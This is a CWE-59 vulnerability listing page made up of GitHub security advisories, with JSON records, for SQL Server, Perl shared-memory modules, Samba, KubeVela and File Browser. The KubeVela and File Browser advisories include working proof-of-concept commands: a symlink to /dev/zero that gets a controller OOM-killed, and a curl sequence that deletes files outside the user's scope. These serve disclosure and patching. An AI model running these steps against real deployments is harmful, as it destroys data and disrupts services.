CWE-59
AllowedImproper Link Resolution Before File Access ('Link Following')
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
2236 vulnerabilities reference this CWE, most recent first.
GHSA-FM4W-J23H-7P7J
Vulnerability from github – Published: 2026-09-08 18:32 – Updated: 2026-09-08 18:32Improper link resolution before file access ('link following') in SQL Server allows an authorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-67368"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-08T18:18:20Z",
"severity": "HIGH"
},
"details": "Improper link resolution before file access (\u0027link following\u0027) in SQL Server allows an authorized attacker to elevate privileges over a network.",
"id": "GHSA-fm4w-j23h-7p7j",
"modified": "2026-09-08T18:32:08Z",
"published": "2026-09-08T18:32:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67368"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-67368"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FM5W-8Q32-74C2
Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-23 15:30Data::SortedSet::Shared versions before 0.03 for Perl create a world-readable mmap backing file and open it without O_EXCL or O_NOFOLLOW.
The segment is created in sortedset.h with open(path, O_RDWR|O_CREAT, 0666). The mode is 0666, so under the default umask 022 the file is created mode 0644 (world-readable). O_NOFOLLOW is absent, so a symlink planted at the path is followed, and O_EXCL is absent, so the open silently uses a pre-planted file instead of failing.
A "Shared" segment naturally lives in a shared directory such as /tmp or /dev/shm, where any local user can read the IPC payloads stored in the world-readable segment, and a pre-planted file or symlink at the path lets a local attacker win a pre-creation race or redirect the open.
{
"affected": [],
"aliases": [
"CVE-2026-65062"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T20:17:05Z",
"severity": "LOW"
},
"details": "Data::SortedSet::Shared versions before 0.03 for Perl create a world-readable mmap backing file and open it without O_EXCL or O_NOFOLLOW.\n\nThe segment is created in sortedset.h with open(path, O_RDWR|O_CREAT, 0666). The mode is 0666, so under the default umask 022 the file is created mode 0644 (world-readable). O_NOFOLLOW is absent, so a symlink planted at the path is followed, and O_EXCL is absent, so the open silently uses a pre-planted file instead of failing.\n\nA \"Shared\" segment naturally lives in a shared directory such as /tmp or /dev/shm, where any local user can read the IPC payloads stored in the world-readable segment, and a pre-planted file or symlink at the path lets a local attacker win a pre-creation race or redirect the open.",
"id": "GHSA-fm5w-8q32-74c2",
"modified": "2026-07-23T15:30:36Z",
"published": "2026-07-21T21:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65062"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/EGOR/Data-SortedSet-Shared-0.03/changes"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/EGOR/Data-SortedSet-Shared-0.03/diff/EGOR/Data-SortedSet-Shared-0.02#sortedset.h"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FM67-QV66-3RQH
Vulnerability from github – Published: 2022-04-12 00:00 – Updated: 2022-04-19 00:01In mobile_log_d, there is a possible symbolic link following due to an improper link resolution. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS06308907; Issue ID: ALPS06308907.
{
"affected": [],
"aliases": [
"CVE-2022-20068"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-11T20:15:00Z",
"severity": "MODERATE"
},
"details": "In mobile_log_d, there is a possible symbolic link following due to an improper link resolution. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS06308907; Issue ID: ALPS06308907.",
"id": "GHSA-fm67-qv66-3rqh",
"modified": "2022-04-19T00:01:23Z",
"published": "2022-04-12T00:00:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20068"
},
{
"type": "WEB",
"url": "https://corp.mediatek.com/product-security-bulletin/April-2022"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FM8J-JQFJ-CVJH
Vulnerability from github – Published: 2026-07-21 21:32 – Updated: 2026-07-23 15:30Data::SpatialHash::Shared versions before 0.02 for Perl create a world-readable mmap backing file and open it without O_EXCL or O_NOFOLLOW.
The segment is created in sphash.h with open(path, O_RDWR|O_CREAT, 0666). The mode is 0666, so under the default umask 022 the file is created mode 0644 (world-readable). O_NOFOLLOW is absent, so a symlink planted at the path is followed, and O_EXCL is absent, so the open silently uses a pre-planted file instead of failing.
A "Shared" segment naturally lives in a shared directory such as /tmp or /dev/shm, where any local user can read the IPC payloads stored in the world-readable segment, and a pre-planted file or symlink at the path lets a local attacker win a pre-creation race or redirect the open.
{
"affected": [],
"aliases": [
"CVE-2026-65068"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T20:17:05Z",
"severity": "LOW"
},
"details": "Data::SpatialHash::Shared versions before 0.02 for Perl create a world-readable mmap backing file and open it without O_EXCL or O_NOFOLLOW.\n\nThe segment is created in sphash.h with open(path, O_RDWR|O_CREAT, 0666). The mode is 0666, so under the default umask 022 the file is created mode 0644 (world-readable). O_NOFOLLOW is absent, so a symlink planted at the path is followed, and O_EXCL is absent, so the open silently uses a pre-planted file instead of failing.\n\nA \"Shared\" segment naturally lives in a shared directory such as /tmp or /dev/shm, where any local user can read the IPC payloads stored in the world-readable segment, and a pre-planted file or symlink at the path lets a local attacker win a pre-creation race or redirect the open.",
"id": "GHSA-fm8j-jqfj-cvjh",
"modified": "2026-07-23T15:30:36Z",
"published": "2026-07-21T21:32:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65068"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/EGOR/Data-SpatialHash-Shared-0.02/changes"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/EGOR/Data-SpatialHash-Shared-0.02/diff/EGOR/Data-SpatialHash-Shared-0.01#sphash.h"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FMFH-PCGM-2499
Vulnerability from github – Published: 2022-02-22 00:00 – Updated: 2023-09-17 09:30All versions of Samba prior to 4.15.5 are vulnerable to a malicious client using a server symlink to determine if a file or directory exists in an area of the server file system not exported under the share definition. SMB1 with unix extensions has to be enabled in order for this attack to succeed.
{
"affected": [],
"aliases": [
"CVE-2021-44141"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-21T18:15:00Z",
"severity": "MODERATE"
},
"details": "All versions of Samba prior to 4.15.5 are vulnerable to a malicious client using a server symlink to determine if a file or directory exists in an area of the server file system not exported under the share definition. SMB1 with unix extensions has to be enabled in order for this attack to succeed.",
"id": "GHSA-fmfh-pcgm-2499",
"modified": "2023-09-17T09:30:18Z",
"published": "2022-02-22T00:00:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44141"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202309-06"
},
{
"type": "WEB",
"url": "https://www.samba.org/samba/security/CVE-2021-44141.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FMGP-Q6JX-GG3X
Vulnerability from github – Published: 2026-08-28 16:13 – Updated: 2026-08-28 16:13Summary
KubeVela's Terraform remote configuration loader can be abused to make vela-core read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.
The issue is reachable when a user with permission to create or update a core.oam.dev/v1beta1 ComponentDefinition registers a Terraform remote schematic that points to a malicious or compromised git repository. The repository can contain a variables.tf symlink that resolves to /dev/zero after checkout. vela-core follows the symlink and calls os.ReadFile before HCL parsing, so memory grows until the controller is OOM killed.
Details
The affected code is in pkg/controller/utils/capability.go, inside GetTerraformConfigurationFromRemote:
https://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242
tfPath := filepath.Join(cachePath, remotePath, "variables.tf")
if _, err := os.Stat(tfPath); err != nil {
tfPath = filepath.Join(cachePath, remotePath, "main.tf")
if _, err := os.Stat(tfPath); err != nil {
return "", errors.Wrap(err, "failed to find main.tf or variables.tf in Terraform configurations of the remote repository")
}
}
conf, err := os.ReadFile(filepath.Clean(tfPath))
if err != nil {
return "", errors.Wrap(err, "failed to read Terraform configuration")
}
When a ComponentDefinition uses:
schematic:
terraform:
type: remote
configuration: <git repository URL>
the controller clones the user-supplied git repository and then reads variables.tf or main.tf from the checkout. The read path is built from attacker-controlled repository contents and terraform.path, but the code does not verify:
- whether the target is a regular file;
- whether the resolved path remains inside the clone cache;
- how large the file is before reading it.
Both os.Stat and os.ReadFile follow symlinks. If the repository contains variables.tf -> ../../../../../../dev/zero, then after checkout under the default cache path this symlink resolves to /dev/zero. os.Stat succeeds, and os.ReadFile reads from /dev/zero, which never returns EOF.
The failure happens during os.ReadFile, before the content reaches HCL parsing or ParseTerraformVariables, so later validation cannot prevent the OOM.
This vulnerability also has a path-traversal-like aspect, because symlinks and terraform.path can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in os.ReadFile before HCL parsing, rather than a confidentiality impact.
PoC
Prerequisites:
- KubeVela is installed with the default configuration, for example in a kind cluster:
helm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait
- I reproduced this with
oamdev/vela-core:v1.10.8and avela-corememory limit of 1Gi. - The attacker has
create/updatepermissions forcore.oam.dev/v1beta1ComponentDefinitionin any namespace. -
The tester can create a git repository that
vela-corecan clone. -
Create a test git repository. In the repository root, add a relative
variables.tfsymlink that resolves to/dev/zeroafter checkout, then push it:
git init poc-tf-dos && cd poc-tf-dos
ln -s ../../../../../../dev/zero variables.tf
git add variables.tf && git commit -m "poc"
git remote add origin https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
git push -u origin main
- Create
poc-componentdefinition.yaml. Replaceconfigurationwith the repository URL from step 1:
apiVersion: core.oam.dev/v1beta1
kind: ComponentDefinition
metadata:
name: dos-tf
namespace: vela-system
spec:
workload:
definition:
apiVersion: apps/v1
kind: Deployment
schematic:
terraform:
type: remote
configuration: https://github.com/<YOUR_ORG>/<YOUR_REPO>.git
path: ""
The workload GVK should reference a type that exists in the cluster, such as apps/v1 Deployment.
- Apply the manifest and observe
vela-core:
kubectl apply -f poc-componentdefinition.yaml
kubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w
- Confirm the OOMKilled termination:
kubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \
-o jsonpath='{.items[0].status.containerStatuses[0].lastState.terminated}{"\n"}'
Expected result:
"exitCode":137
"reason":"OOMKilled"
The pod may then enter CrashLoopBackOff.
If the reconcile fails with stat .../main.tf: no such file or directory, check that the symlink is relative and resolves to /dev/zero from the checkout location. If the same ComponentDefinition was already reconciled, remove the stale clone cache under /root/.vela/terraform/<name> and retry.
Impact
This is a denial-of-service vulnerability affecting KubeVela control-plane availability.
A user who can create or update ComponentDefinition objects can cause the cluster-wide vela-core controller to be OOM killed.
If vela-core has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/oam-dev/kubevela"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.9.14"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/oam-dev/kubevela"
},
"ranges": [
{
"events": [
{
"introduced": "1.10.0-alpha.1"
},
{
"fixed": "1.10.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/oam-dev/kubevela"
},
"ranges": [
{
"events": [
{
"introduced": "1.11.0-alpha.1"
},
{
"fixed": "1.11.0-alpha.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55108"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T16:13:19Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nKubeVela\u0027s Terraform remote configuration loader can be abused to make `vela-core` read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.\n\nThe issue is reachable when a user with permission to create or update a `core.oam.dev/v1beta1` `ComponentDefinition` registers a Terraform `remote` schematic that points to a malicious or compromised git repository. The repository can contain a `variables.tf` symlink that resolves to `/dev/zero` after checkout. `vela-core` follows the symlink and calls `os.ReadFile` before HCL parsing, so memory grows until the controller is OOM killed.\n\n### Details\n\nThe affected code is in `pkg/controller/utils/capability.go`, inside `GetTerraformConfigurationFromRemote`:\n\nhttps://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242\n\n```go\ntfPath := filepath.Join(cachePath, remotePath, \"variables.tf\")\nif _, err := os.Stat(tfPath); err != nil {\n tfPath = filepath.Join(cachePath, remotePath, \"main.tf\")\n if _, err := os.Stat(tfPath); err != nil {\n return \"\", errors.Wrap(err, \"failed to find main.tf or variables.tf in Terraform configurations of the remote repository\")\n }\n}\nconf, err := os.ReadFile(filepath.Clean(tfPath))\nif err != nil {\n return \"\", errors.Wrap(err, \"failed to read Terraform configuration\")\n}\n```\n\nWhen a `ComponentDefinition` uses:\n\n```yaml\nschematic:\n terraform:\n type: remote\n configuration: \u003cgit repository URL\u003e\n```\n\nthe controller clones the user-supplied git repository and then reads `variables.tf` or `main.tf` from the checkout. The read path is built from attacker-controlled repository contents and `terraform.path`, but the code does not verify:\n\n- whether the target is a regular file;\n- whether the resolved path remains inside the clone cache;\n- how large the file is before reading it.\n\nBoth `os.Stat` and `os.ReadFile` follow symlinks. If the repository contains `variables.tf -\u003e ../../../../../../dev/zero`, then after checkout under the default cache path this symlink resolves to `/dev/zero`. `os.Stat` succeeds, and `os.ReadFile` reads from `/dev/zero`, which never returns EOF.\n\nThe failure happens during `os.ReadFile`, before the content reaches HCL parsing or `ParseTerraformVariables`, so later validation cannot prevent the OOM.\n\nThis vulnerability also has a path-traversal-like aspect, because symlinks and `terraform.path` can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in `os.ReadFile` before HCL parsing, rather than a confidentiality impact.\n\n### PoC\n\nPrerequisites:\n\n- KubeVela is installed with the default configuration, for example in a kind cluster:\n\n```sh\nhelm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait\n```\n\n- I reproduced this with `oamdev/vela-core:v1.10.8` and a `vela-core` memory limit of 1Gi.\n- The attacker has `create` / `update` permissions for `core.oam.dev/v1beta1` `ComponentDefinition` in any namespace.\n- The tester can create a git repository that `vela-core` can clone.\n\n1. Create a test git repository. In the repository root, add a relative `variables.tf` symlink that resolves to `/dev/zero` after checkout, then push it:\n\n```sh\ngit init poc-tf-dos \u0026\u0026 cd poc-tf-dos\nln -s ../../../../../../dev/zero variables.tf\ngit add variables.tf \u0026\u0026 git commit -m \"poc\"\ngit remote add origin https://github.com/\u003cYOUR_ORG\u003e/\u003cYOUR_REPO\u003e.git\ngit push -u origin main\n```\n\n2. Create `poc-componentdefinition.yaml`. Replace `configuration` with the repository URL from step 1:\n\n```yaml\napiVersion: core.oam.dev/v1beta1\nkind: ComponentDefinition\nmetadata:\n name: dos-tf\n namespace: vela-system\nspec:\n workload:\n definition:\n apiVersion: apps/v1\n kind: Deployment\n schematic:\n terraform:\n type: remote\n configuration: https://github.com/\u003cYOUR_ORG\u003e/\u003cYOUR_REPO\u003e.git\n path: \"\"\n```\n\nThe workload GVK should reference a type that exists in the cluster, such as `apps/v1` `Deployment`.\n\n3. Apply the manifest and observe `vela-core`:\n\n```sh\nkubectl apply -f poc-componentdefinition.yaml\nkubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w\n```\n\n4. Confirm the OOMKilled termination:\n\n```sh\nkubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \\\n -o jsonpath=\u0027{.items[0].status.containerStatuses[0].lastState.terminated}{\"\\n\"}\u0027\n```\n\nExpected result:\n\n```text\n\"exitCode\":137\n\"reason\":\"OOMKilled\"\n```\n\nThe pod may then enter `CrashLoopBackOff`.\n\nIf the reconcile fails with `stat .../main.tf: no such file or directory`, check that the symlink is relative and resolves to `/dev/zero` from the checkout location. If the same `ComponentDefinition` was already reconciled, remove the stale clone cache under `/root/.vela/terraform/\u003cname\u003e` and retry.\n\n### Impact\n\nThis is a denial-of-service vulnerability affecting KubeVela control-plane availability.\n\nA user who can create or update `ComponentDefinition` objects can cause the cluster-wide `vela-core` controller to be OOM killed. \n\nIf `vela-core` has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.",
"id": "GHSA-fmgp-q6jx-gg3x",
"modified": "2026-08-28T16:13:19Z",
"published": "2026-08-28T16:13:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/security/advisories/GHSA-fmgp-q6jx-gg3x"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/pull/7191"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/pull/7192"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/commit/65dedda40a69cc1eccf4072a4c835e5b9f13334e"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/commit/7a4e59b2958ce1cf031fafbc188d6fafe8fe4d2e"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/commit/f6a64398b5e0065c57c3a0fb6765dd3dc48c749d"
},
{
"type": "PACKAGE",
"url": "https://github.com/kubevela/kubevela"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/releases/tag/v1.10.9"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/releases/tag/v1.11.0-alpha.4"
},
{
"type": "WEB",
"url": "https://github.com/kubevela/kubevela/releases/tag/v1.9.14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "KubeVela Terraform remote loader DoS via unbounded file read"
}
GHSA-FMM7-X4GX-8JHR
Vulnerability from github – Published: 2026-07-20 21:17 – Updated: 2026-07-20 21:17Summary
A scoped, non-admin File Browser user holding only the Create permission can delete arbitrary files outside their scope (other tenants' data, and the application's own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 ScopedFs containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.
ScopedFs.RemoveAll is the one dereferencing operation that skips the symlink guard every other method enforces. The direct-upload handler runs RemoveAll on the user-controlled path during failed-upload cleanup, gated only by Perm.Create. If an escaping directory symlink already exists inside the user's scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the ScopedFs boundary and the Perm.Delete gate.
Affected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174
Details
CVE-2026-54094 was fixed by a ScopedFs afero wrapper whose guard() resolves every path component with filepath.EvalSymlinks and rejects out-of-scope targets. guard() is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:
ScopedFs.RemoveandScopedFs.RemoveAllskipguard()(files/scoped.go:138-144) — they calls.base.Remove/RemoveAlldirectly, unlike every other method.resourcePostHandlerdoes not return on aNewFileInfocontainment error (http/resource.go:125-180). For an out-of-scope pathNewFileInfofails, but the handler only uses that for the override branch (if err == nil) and falls through towriteFile, which is correctly guard-blocked and errors — triggering the failure-cleanup_ = d.user.Fs.RemoveAll(r.URL.Path)(http/resource.go:173) on the unvalidated path.
Because Go's os.RemoveAll follows a symlinked ancestor, RemoveAll("link/secret.txt") where link -> /srv/victim deletes /srv/victim/secret.txt, outside scope. The HTTP response is 403 (write blocked), masking the deletion.
Of the three handlers calling RemoveAll, only resourcePostHandler is exploitable; resourceDeleteHandler (:114) and tusDeleteHandler (:264) return the NewFileInfo error first (shadowed, confirmed by negative controls). If the target is a directory, RemoveAll recursively removes out-of-scope contents.
Precondition
An escaping directory symlink must already exist inside the user's scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.
Proof of concept
Root /tmp/fb-root, a Create-only non-admin user scoped to /scope with Perm.Create=true (and Perm.Delete=false — the bug must not need it), and a pre-existing symlink /tmp/fb-root/scope/link -> /tmp/fb-out:
# 0. Layout: server root + an out-of-scope dir holding the victim file
mkdir -p /tmp/fb-root /tmp/fb-out
echo keep > /tmp/fb-out/victim.txt
# 1. Init DB and pin the server root
filebrowser -d /tmp/fb.db config init
filebrowser -d /tmp/fb.db config set --root /tmp/fb-root
# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it
filebrowser -d /tmp/fb.db users add victim hunter2 \
--scope=/scope \
--perm.admin=false --perm.create=true \
--perm.modify=false --perm.delete=false \
--perm.rename=false --perm.share=false --perm.execute=false
# 3. Plant an escaping directory symlink inside the user's scope. Out-of-band, per the threat model
# (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.
ln -s /tmp/fb-out /tmp/fb-root/scope/link
# 4. Start the server
filebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080
# 5. Log in; the JWT is returned as the raw response body
JWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"victim","password":"hunter2"}')
# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,
# and failed-upload cleanup then runs the UNguarded RemoveAll("/link/victim.txt").
curl -i -X POST -H "X-Auth: $JWT" --data 'x' \
'http://127.0.0.1:8080/api/resources/link/victim.txt'
# 7. Impact check
test ! -e /tmp/fb-out/victim.txt && echo "IMPACT: out-of-scope victim.txt DELETED"
Minimal HTTP summary (Create-only user carol, scope /attacker, pre-existing symlink /attacker/link -> /srv/victim, file /srv/victim/secret.txt):
GET /api/raw/link/secret.txt -> 403 (read containment still holds — the v2.63.14 fix)
POST /api/resources/link/secret.txt -> 403 (write blocked)
=> /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)
Verified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir → all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).
Impact
A per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants' data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the ScopedFs boundary and the Perm.Delete gate. If the target is a directory, RemoveAll recursively removes out-of-scope contents. Precondition: a symlink present in the user's scope — identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.
Suggested fix
- Add
guard()toScopedFs.RemoveandScopedFs.RemoveAll(files/scoped.go), mirroring the other methods (closes the class for all callers). - Defense-in-depth: in
resourcePostHandler, return early whenNewFileInforeturns a non-not-exist error (do not fall through towriteFile/cleanup on a path that failed containment).
References
- Incomplete fix of CVE-2026-54094 /
GHSA-239w-m3h6-ch8v. - Affected code:
files/scoped.go(ScopedFs.Remove,ScopedFs.RemoveAll), reached fromhttp/resource.go(resourcePostHandlerfailure-cleanup, line 173). - Confirmed unpatched at HEAD
be23ab3(v2.63.15); no open issue/PR addresses theRemove/RemoveAllgap.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.63.15"
},
"package": {
"ecosystem": "Go",
"name": "github.com/filebrowser/filebrowser/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.63.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55667"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:17:24Z",
"nvd_published_at": "2026-06-25T19:16:43Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA scoped, non-admin File Browser user holding only the **Create** permission can delete arbitrary files outside their scope (other tenants\u0027 data, and the application\u0027s own database) via the upload failure-cleanup path. This is an incomplete fix of CVE-2026-54094: the v2.63.14 `ScopedFs` containment wrapper was applied to read/write/list/rename but NOT to the delete path. Confidentiality is preserved (reads stay blocked); integrity and availability are not.\n\n`ScopedFs.RemoveAll` is the one dereferencing operation that skips the symlink `guard` every other method enforces. The direct-upload handler runs `RemoveAll` on the user-controlled path during failed-upload cleanup, gated only by `Perm.Create`. If an escaping directory symlink already exists inside the user\u0027s scope, an authenticated create-only user can delete an out-of-scope target, bypassing both the `ScopedFs` boundary and the `Perm.Delete` gate.\n\nAffected code: https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174\n\n## Details\n\nCVE-2026-54094 was fixed by a `ScopedFs` afero wrapper whose `guard()` resolves every path component with `filepath.EvalSymlinks` and rejects out-of-scope targets. `guard()` is invoked on read, write, list, rename, stat, etc. The fix is incomplete; two gaps combine:\n\n1. `ScopedFs.Remove` and `ScopedFs.RemoveAll` skip `guard()` (`files/scoped.go:138-144`) \u2014 they call `s.base.Remove/RemoveAll` directly, unlike every other method.\n2. `resourcePostHandler` does not return on a `NewFileInfo` containment error (`http/resource.go:125-180`). For an out-of-scope path `NewFileInfo` fails, but the handler only uses that for the override branch (`if err == nil`) and falls through to `writeFile`, which is correctly guard-blocked and errors \u2014 triggering the failure-cleanup `_ = d.user.Fs.RemoveAll(r.URL.Path)` (`http/resource.go:173`) on the unvalidated path.\n\nBecause Go\u0027s `os.RemoveAll` follows a symlinked ancestor, `RemoveAll(\"link/secret.txt\")` where `link -\u003e /srv/victim` deletes `/srv/victim/secret.txt`, outside scope. The HTTP response is 403 (write blocked), masking the deletion.\n\nOf the three handlers calling `RemoveAll`, only `resourcePostHandler` is exploitable; `resourceDeleteHandler` (`:114`) and `tusDeleteHandler` (`:264`) return the `NewFileInfo` error first (shadowed, confirmed by negative controls). If the target is a directory, `RemoveAll` recursively removes out-of-scope contents.\n\n## Precondition\n\nAn escaping directory symlink must already exist inside the user\u0027s scope. File Browser exposes no symlink-creation API, so it is planted out of band (admin, mounted/shared volume, restored backup, extracted archive, another process). This is the same threat model accepted by CVE-2026-54094.\n\n## Proof of concept\n\nRoot `/tmp/fb-root`, a Create-only non-admin user scoped to `/scope` with `Perm.Create=true` (and `Perm.Delete=false` \u2014 the bug must not need it), and a pre-existing symlink `/tmp/fb-root/scope/link -\u003e /tmp/fb-out`:\n\n```sh\n# 0. Layout: server root + an out-of-scope dir holding the victim file\nmkdir -p /tmp/fb-root /tmp/fb-out\necho keep \u003e /tmp/fb-out/victim.txt\n\n# 1. Init DB and pin the server root\nfilebrowser -d /tmp/fb.db config init\nfilebrowser -d /tmp/fb.db config set --root /tmp/fb-root\n\n# 2. Create a CREATE-ONLY, non-admin user scoped to /scope. perm.delete=false is the point: the bug must not need it\nfilebrowser -d /tmp/fb.db users add victim hunter2 \\\n --scope=/scope \\\n --perm.admin=false --perm.create=true \\\n --perm.modify=false --perm.delete=false \\\n --perm.rename=false --perm.share=false --perm.execute=false\n\n# 3. Plant an escaping directory symlink inside the user\u0027s scope. Out-of-band, per the threat model\n# (admin, mounted/shared volume, restored backup, another process). No FileBrowser API creates this.\nln -s /tmp/fb-out /tmp/fb-root/scope/link\n\n# 4. Start the server\nfilebrowser -d /tmp/fb.db -a 127.0.0.1 -p 8080\n\n# 5. Log in; the JWT is returned as the raw response body\nJWT=$(curl -s -X POST http://127.0.0.1:8080/api/login \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"username\":\"victim\",\"password\":\"hunter2\"}\u0027)\n\n# 6. Trigger: POST to a child of the symlink. The guarded write (MkdirAll/OpenFile) fails with 403,\n# and failed-upload cleanup then runs the UNguarded RemoveAll(\"/link/victim.txt\").\ncurl -i -X POST -H \"X-Auth: $JWT\" --data \u0027x\u0027 \\\n \u0027http://127.0.0.1:8080/api/resources/link/victim.txt\u0027\n\n# 7. Impact check\ntest ! -e /tmp/fb-out/victim.txt \u0026\u0026 echo \"IMPACT: out-of-scope victim.txt DELETED\"\n```\n\nMinimal HTTP summary (Create-only user `carol`, scope 